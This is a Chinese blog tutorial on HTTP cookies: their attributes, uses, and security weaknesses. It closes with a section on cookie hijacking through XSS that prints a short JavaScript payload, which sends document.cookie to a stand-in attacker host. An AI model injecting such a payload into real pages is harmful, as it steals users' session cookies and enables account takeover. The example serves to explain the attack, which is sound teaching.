cookie详解

最新推荐文章于 2022-03-30 17:24:56 发布

angularYang

最新推荐文章于 2022-03-30 17:24:56 发布

阅读量288

点赞数

文章标签： javascript

本文链接：https://blog.csdn.net/angularYang/article/details/118518695

版权

cookie详解

cookie是什么

因为我们的http协议是无状态的，每次的请求从客户端发起到服务器响应完成后，一个完整的请求就结束了。这样就引出了一个问题：就是除了用户登录之外，服务端不能判断下一个请求的发起者是谁？我们不可能每次和服务端通信的过程中，都将用户名给携带上。在这样的一个前提和改善用户的体验下。一个用于对用户会话进行管理和记录的机制cookie应运诞生了。现在随着互联网的不断发展，以及web应用的使用场景愈发的复杂，还有就是随之而来的安全问题等，后面又诞生了其他不同的会话管理机制，就是session和token，在后面的章节中会对session和token进行进一步的描述和分析。

简单来说，cookie是服务器发送到浏览器，并保存在本地的一小块数据。通常它用来告知服务器两个客户端的请求来自同一台电脑，使基于无状态的http请求，记录稳定的状态信息成为了可能。

cookie的组成

cookie是由一系列的名称/值对组成的。=,多个cookie之间是用;隔开的。每个应用或者网站对cookie中的值设置都是不同的，这个根据自己的业务需要进行自己的设计。

cookie中我们设定的每个值都会有以下几个属性。我们一起来看下每个属性的具体作用

Name：我们设定的cookie的名称，也就是cookie-name。
Value：我们设定的cookie对应的值，也就是cookie-value。
Domain: 指定了哪些主机可以接受cookie，如果不指定Domain的话，默认使用的是origin，不包含子域名，如果指定了Domain的话，一般会包含子域名的，比如 Domain = baidu.com，那么city.baidu.com也会接受此cookie，所以指定Domain会比不指定Domain的限制要少。
Path：指定了主机下哪些路径可以接受cookie，该URL也必须存在于请求url中，子路径也会被匹配的。从这就是可以看出，path的作用范围比Domain更加的精确，范围控制的也更小。
- /Doc/
- /Doc/web/
- 都是可以使用一个cookie的
SameSite attribute: 表示某个cookie在跨站请求时可以不被发送。从而可以阻止跨站请求伪造攻击。所有的主流浏览器都支持此属性。
Expires/Max-Age: 表示cookie的过期时间。
- 会话期的cookie，是最简单的cookie，当浏览器关闭后，此cookie也会被自动删除掉。也就是说它只在会话期内有效，此类cookie不用设置Expires/Max-Age。
- 持久性cookie取决于Expires/Max-Age所设定的过期时间。
  - 注意当这个过期时间设定后，设定的日期和时间只和客户端的时间有关，而不是服务端。
Size：表示此cookie值的大小。
Secure: 标记为Secure的cookie只应通过https协议加密过的请求发送给服务端。
httpOnly: 标记为httpOnly的cookie不能通过document.cookie这个api访问，此类cookie仅作为服务端使用。此措施可以有效的缓解跨站脚本(xss)攻击。

以上几个属性是我们平时在设置cookie中常用的，每个属性所起的作用都不一样。这个需要我们在开发过程中进行具体的设置，最终设置的值取决于我们的具体设置。

cookie的使用

cookie主要用于以下三个方面

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vGnB67Ck-1625542151026)(C:\Users\lenovo\AppData\Roaming\Typora\typora-user-images\image-20210702140407429.png)]

当我们使用用户名和密码对应用登录成后后，server端就会对我们的登录颁发一个cookie，用以标记此用户的身份，并对后续的http请求做一个记录。上图便可以很清晰的看到客户端和服务端在交互过程中如何获取到的cookie，过程看似简单，但是给我们在后续的操作中提供的便利确实很多的，主要的使用场景有以下几个。

1.会话管理状态（用户的登录，购物车等）
2.个性化设置（用户自定义的主题，定制化的组件等）
3.浏览器的行为跟踪（跟踪分析用户行为）
4.用于数据存储
- cookie刚开始时也是可以存储客户端的数据的，随着现在浏览器的升级而支持其他的存储方式，cookie渐渐的被淘汰了，由于服务器指定cookie后，浏览器每次请求都会携带cookie，会带来不必要的性能开销，尤其在移动端。新的浏览器API已经允许开发者直接将数据存储在本地，如会话存储(sessionStorage)和本地存储(localStorage)。

在客户端我们可以通过document.cookie这个api获取到此用户的在当前网站下的所有的cookie信息。供我们在后续的编码过程中使用。

在服务端我们可以通过set-cookie设置cookie的值和属性。

当然这一切我们都是不会感知的，在客户端和服务端的紧密默契配合下，在浏览器这个中间纽带下。从我们登录的网站的那一刻开始，我们在网站上做的所有操作，网站都会对我们所做出的关键操作进行记录和保存，并且在我们下一次访问网站的时候，我们上次的数据不会丢失，会重新的展示在我们面前。这一切都是cookie的功劳，看起来是不是很神奇。

cookie的特点

凡事都又两面性，cookie机制也不例外。cookie机制带给了我们许多应用操作和网站交互的便捷性，随之而来的也出现了不安全方面的问题。因为当我们成功的登录网站后，服务端给我们分发的cookie此时便成为了我们和服务端进行身份认证的唯一标识，我们可以想象一下，就是如果有其他用户使用我们的cookie和服务端进行交互的话，此时服务端是不能鉴别出此用户的真实身份的，这就是非常常见的cookie劫持安全问题。

cookie劫持

cookie劫持：顾名思义就是自己的cookie被别人使用了。
- 如何进行cookie劫持那，最常用的方法就是使用xss攻击。xss攻击就是跨站脚本攻击，就是利用代码中的漏洞，在html和js代码中注入危险脚本代码，在用户不知道的情况下，使用脚本获取到登录用户的cookie信息。
- 比如我们通过远程xss攻击，在网页中注入一下js代码
```
var img = document.createElement('img');
img.src = 'http://www.gongjizhe/log?' + escape(document.cookie);
document.body.appendChild(img);
```
  - 如果这段恶意脚本代码注入成功的话，就会通过document.cookie获取到用户的所有cookie信息，攻击者此时便可以利用获取到的cookie信息进行破环工作了。